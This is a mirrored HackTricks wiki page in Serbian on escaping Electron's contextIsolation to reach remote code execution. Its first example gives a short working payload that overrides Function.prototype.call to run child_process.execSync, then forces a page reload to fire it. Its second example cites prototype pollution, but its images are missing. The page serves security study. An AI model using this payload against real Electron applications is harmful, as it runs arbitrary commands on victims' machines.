mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
2.0 KiB
2.0 KiB
Electron contextIsolation RCE via Electron internal code
{{#include ../../../banners/hacktricks-training.md}}
Primer 1
"exit" događaj slušalac je uvek postavljen od strane internog koda kada je učitavanje stranice započeto. Ovaj događaj se emituje neposredno pre navigacije:
process.on("exit", function () {
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
{{#ref}}
664c184fcb/lib/common/asar.js (L30-L36)
{{#endref}}
8a44289089/bin/events.js (L156-L231)
-- Više ne postoji
Zatim ide ovde:
Gde je "self" Node-ov objekat procesa:
Objekat procesa ima reference na "require" funkciju:
process.mainModule.require
Kao što će handler.call primiti objekat procesa, možemo ga prepisati da izvršimo proizvoljan kod:
<script>
Function.prototype.call = function (process) {
process.mainModule.require("child_process").execSync("calc")
}
location.reload() //Trigger the "exit" event
</script>
Primer 2
Dobijanje require objekta iz zagađenja prototipa. Iz https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
Curjenje:

Eksploatacija:

{{#include ../../../banners/hacktricks-training.md}}